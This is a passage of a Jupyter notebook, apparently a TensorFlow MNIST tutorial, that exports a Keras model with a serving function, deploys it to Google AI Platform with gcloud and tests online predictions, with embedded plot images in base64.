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\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": {} } ] }, { "cell_type": "markdown", "metadata": { "id": "5tzVi39ShrEL" }, "source": [ "## Deploy the trained model to AI Platform prediction\n", "\n", "Push your trained model to production on AI Platform for a serverless, autoscaled, REST API experience.\n", "\n", "You will need a GCS (Google Cloud Storage) bucket and a GCP project for this.\n", "Models deployed on AI Platform autoscale to zero if not used. There will be no AI Platform charges after you are done testing.\n", "Google Cloud Storage incurs charges. Empty the bucket after deployment if you want to avoid these. Once the model is deployed, the bucket is not useful anymore." ] }, { "cell_type": "markdown", "metadata": { "id": "3Y3ztMY_toCP" }, "source": [ "### Configuration" ] }, { "cell_type": "code", "metadata": { "id": "iAZAn7yIhqAS" }, "source": [ "PROJECT = \"\" #@param {type:\"string\"}\n", "BUCKET = \"gs://\" #@param {type:\"string\", default:\"jddj\"}\n", "NEW_MODEL = True #@param {type:\"boolean\"}\n", "MODEL_NAME = \"mnist\" #@param {type:\"string\"}\n", "MODEL_VERSION = \"v1\" #@param {type:\"string\"}\n", "\n", "assert PROJECT, 'For this part, you need a GCP project. Head to http://console.cloud.google.com/ and create one.'\n", "assert re.search(r'gs://.+', BUCKET), 'For this part, you need a GCS bucket. Head to http://console.cloud.google.com/storage and create one.'" ], "execution_count": null, "outputs": [] }, { "cell_type": "markdown", "metadata": { "id": "Lzd6Qi464PsA" }, "source": [ "### Colab-only auth" ] }, { "cell_type": "code", "metadata": { "cellView": "both", "id": "MPx0nvyUnvgT" }, "source": [ "IS_COLAB_BACKEND = 'COLAB_GPU' in os.environ # this is always set on Colab, the value is 0 or 1 depending on GPU presence\n", "if IS_COLAB_BACKEND:\n", " from google.colab import auth\n", " auth.authenticate_user() # Authenticates the Colab machine to access your private GCS buckets." ], "execution_count": null, "outputs": [] }, { "cell_type": "markdown", "metadata": { "id": "GxQTtjmdIbmN" }, "source": [ "### Export the model for serving from AI Platform" ] }, { "cell_type": "code", "metadata": { "id": "GOgh7Kb7SzzG" }, "source": [ "export_path = os.path.join(BUCKET, 'keras_export', str(time.time()))\n", "\n", "# The serving function performig data pre- and post-processing.\n", "# The model itself is captured by this function by closure.\n", "# Pre-processing: images are received in uint8 format converted\n", "# to float32 before being sent to through the model.\n", "# Post-processing: the Keras model outputs digit probabilities. We want\n", "# the detected digits. An additional tf.argmax is needed.\n", "# @tf.function turns the code in this function into a Tensorflow graph that\n", "# can be exported. This way, the model itself, as well as its pre- and post-\n", "# processing steps are exported in the SavedModel and deployed in a single step.\n", "@tf.function(input_signature=[tf.TensorSpec([None, 28*28], dtype=tf.uint8)])\n", "def my_serve(images):\n", " images = tf.cast(images, tf.float32)/255 # pre-processing\n", " probabilities = model(images, training=False) # prediction from model (inference graph only)\n", " classes = tf.argmax(probabilities, axis=-1) # post-processing\n", " return {'digits': classes}\n", "\n", "# exporting in the Tensorflow standard SavedModel format with a serving input function\n", "model.save(export_path, signatures={'serving_default': my_serve}, save_format=\"tf\")\n", "print(\"Model exported to: \", export_path)" ], "execution_count": null, "outputs": [] }, { "cell_type": "code", "metadata": { "colab": { "base_uri": "https://localhost:8080/", "height": 289 }, "id": "Zm7cpCRQC8-w", "outputId": "b4d9c5c5-67e5-4bec-f6a6-ff4c192227f9" }, "source": [ "# saved_model_cli: a useful too for troubleshooting SavedModels (the tool is part of the Tensorflow installation)\n", "!saved_model_cli show --dir {export_path}\n", "!saved_model_cli show --dir {export_path} --tag_set serve\n", "!saved_model_cli show --dir {export_path} --tag_set serve --signature_def serving_default\n", "# A note on naming:\n", "# The \"serve\" tag set (i.e. serving functionality) is the only one exported by tf.saved_model.save\n", "# All the other names are defined by the user in the fllowing lines of code:\n", "# def myserve(self, images):\n", "# ******\n", "# return {'digits': classes}\n", "# ******\n", "# tf.saved_model.save(..., signatures={'serving_default': serving_model.myserve})\n", "# ***************" ], "execution_count": null, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "The given SavedModel contains the following tag-sets:\n", "serve\n", "The given SavedModel MetaGraphDef contains SignatureDefs with the following keys:\n", "SignatureDef key: \"__saved_model_init_op\"\n", "SignatureDef key: \"serving_default\"\n", "The given SavedModel SignatureDef contains the following input(s):\n", " inputs['images'] tensor_info:\n", " dtype: DT_UINT8\n", " shape: (-1, 784)\n", " name: serving_default_images:0\n", "The given SavedModel SignatureDef contains the following output(s):\n", " outputs['digits'] tensor_info:\n", " dtype: DT_INT64\n", " shape: (-1)\n", " name: StatefulPartitionedCall:0\n", "Method name is: tensorflow/serving/predict\n" ] } ] }, { "cell_type": "markdown", "metadata": { "id": "zy3T3zk0u2J0" }, "source": [ "### Deploy the model\n", "This uses the command-line interface. You can do the same thing through the AI Platform UI at https://console.cloud.google.com/ai-platform/models\n" ] }, { "cell_type": "code", "metadata": { "id": "nGv3ITiGLPL3" }, "source": [ "# Create the model\n", "if NEW_MODEL:\n", " !gcloud ai-platform models create {MODEL_NAME} --project={PROJECT} --regions=us-central1" ], "execution_count": null, "outputs": [] }, { "cell_type": "code", "metadata": { "colab": { "base_uri": "https://localhost:8080/", "height": 51 }, "id": "o3QtUowtOAL-", "outputId": "53c0586a-3364-4e5b-fa4d-5b486c83d535" }, "source": [ "# Create a version of this model (you can add --async at the end of the line to make this call non blocking)\n", "# Additional config flags are available: https://cloud.google.com/ai-platform/prediction/docs/reference/rest/v1/projects.models.versions\n", "!echo \"Deployment takes a couple of minutes. You can watch your deployment here: https://console.cloud.google.com/ai-platform/models/{MODEL_NAME}\"\n", "!gcloud ai-platform versions create {MODEL_VERSION} --model={MODEL_NAME} --origin={export_path} --project={PROJECT} --runtime-version=2.1 --python-version=3.7" ], "execution_count": null, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Deployment takes a couple of minutes. You can watch your deployment here: https://console.cloud.google.com/ai-platform/models/mnist\n", "\u001B[1;33mWARNING:\u001B[0m Using endpoint [https://ml.googleapis.com/]\n" ] } ] }, { "cell_type": "markdown", "metadata": { "id": "jE-k1Zn6kU2Z" }, "source": [ "### Test the deployed model\n", "Your model is now available as a REST API. Let us try to call it. The cells below use the \"gcloud ai-platform\"\n", "command line tool but any tool that can send a JSON payload to a REST endpoint will work." ] }, { "cell_type": "code", "metadata": { "id": "zZCt0Ke2QDer" }, "source": [ "# prepare digits to send to online prediction endpoint\n", "digits_float32 = np.concatenate((font_digits, validation_digits[:100-N])) # pixel values in [0.0, 1.0] float range\n", "digits_uint8 = np.round(digits_float32*255).astype(np.uint8) # pixel values in [0, 255] int range\n", "labels = np.concatenate((font_labels, validation_labels[:100-N]))\n", "with open(\"digits.json\", \"w\") as f:\n", " for digit in digits_uint8:\n", " # the format for AI Platform online predictions is: one JSON object per line\n", " data = json.dumps({\"images\": digit.tolist()}) # \"images\" because that was the name you gave this parametr in the serving funtion my_serve\n", " f.write(data+'\\n')" ], "execution_count": null, "outputs": [] }, { "cell_type": "code", "metadata": { "colab": { "base_uri": "https://localhost:8080/", "height": 326 }, "id": "n6PqhQ8RQ8bp", "outputId": "edbca3a8-963d-494d-9501-ba8ad0ce562d" }, "source": [ "# Request online predictions from deployed model (REST API) using the \"gcloud ml-engine\" command line.\n", "predictions = !gcloud ai-platform predict --model={MODEL_NAME} --json-instances digits.json --project={PROJECT} --version {MODEL_VERSION}\n", "print(predictions)\n", "\n", "predictions = np.array([int(p) for p in predictions if p.isdigit()])\n", "display_top_unrecognized(digits_float32, predictions, labels, N, 100//N)" ], "execution_count": null, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "['\\x1b[1;33mWARNING:\\x1b[0m Using endpoint [https://ml.googleapis.com/]', 'DIGITS', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '1', '2', '3', '7', '2', '1', '0', '4', '1', '4', '9', '5', '9', '0', '6', '9', '0', '1', '5', '9', '7', '3', '4', '9', '6', '6', '5', '4', '0', '7', '4', '0', '1', '3', '1', '3', '4', '7', '2', '7', '1', '2', '1', '1', '7', '4', '2', '3', '5', '1', '2', '4', '4', '6', '3', '5', '5', '6', '0', '4', '1', '9', '5', '7', '8', '9', '3', '7', '4', '6', '4', '3', '0', '7', '0', '2', '9', '1', '7']\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAuMAAABQCAYAAACzvHtWAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4yLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+j8jraAAAgAElEQVR4nOydd2BVRfb4P68keem9hxJI6BAgCSAlVGmKSrGjoOgqCqIorH11LaurK7soiAsEERVRAeklBEIvCSkEQiAhhfSevLy8Xn5/xHclkEAqfH/r/fwDeXfunJk7c+eeOXPmjKS6utqCiIiIiIiIiIiIiMhtR3qnCyAiIiIiIiIiIiLyZ0VUxkVERERERERERETuEKIyLiIiIiIiIiIiInKHEJVxERERERERERERkTuEqIyLiIiIiIiIiIiI3CFEZVxERERERERERETkDiEq4yL/E2Qs/4qUV5feVpkVp89waORY4e9jU6ZRcfpMs9K2lAvvvEfmV1+3+v7m0pI6XU9L0v5fRVdezulHnyBmYATp//j0ThfnllTGJ3Bk4tQmr6vzC9gb2gez0dis/M4tfZPLX/ynXcrW1j7fVvaG9qEuNxdo2/sTExaO+mpeexbtplz5+hvOv/nObZN3Lbezzdqzr3Uk+Zu3cuqR2U1eL9l/gLhR44gJC0d5Ie1/YhwUuf3I73QBRO4MqswrpL3/IcrzF7D1cKfnX5fgO3GCcN2k0ZD+yWcU79mLxWDEuVdPhm7ccAdL/H+fkXt2tEs++Zu3kv/LZob99L3wW98P3muXvFtKS+p0bdqM5V+hzr1K2L/+2RHFapJzS99E4edLj8WLWnV/3k+/YOvuzoSkeCQSyQ3XK06d5spXX6O8kIbc1YUxcQcaXFfnF3D+9beoTjmHfYA/vd99C68Rw4XrOevWk/XfNZg0WvwmT6Tv+39DamfbqrICeERGELV/t/B33JgJ9Pvo7w1kijT//Tn9+BwC7p9Gp4dmCb/dnXK2g0rVON3nP3db5f2v01ibtifpn3xG77+9he+E8UDrvwPq/AKOjL2biRfPIZWLqtmfDdEy/ifEbDSSOH8B3mNHMz7hJH0/fJ9zr/2VuuwcIc35t/+GoaaGUXt2Mj7hJL3eev3OFVhE5DahLSzEMaR7o4o4gMzensBZM+j519cavZ7yyms49+nN+PgThL6yiOSFr6CvqASg7Ogxsr5ZQ+R30Yw5fAB1Xj4Zy7/qsLr8L9Fcy75IQywm050uwh3DYrFgMZs7XI62sBCn0JBmpRX7sUhTiMr4n5C6rGx0paV0fWoOEpkMz7uG4TZ4EIW/bQdAdSWL0thD9PvgfWw9PZDIZLj269tkfvmbt3J47ERiBkZweOzdFG6rtwyoc69y5omniI28i9ghw0lZvASDUincFzdmAtmr13Ls3geIGRBO6htvoysvJ2HeX4gZGEH8nKcx1NTU5/X7cnveTz9zaMRoDg2PIntNdJNlqk5K4dRDj3Fg8FCOT5ve5LJh1jdr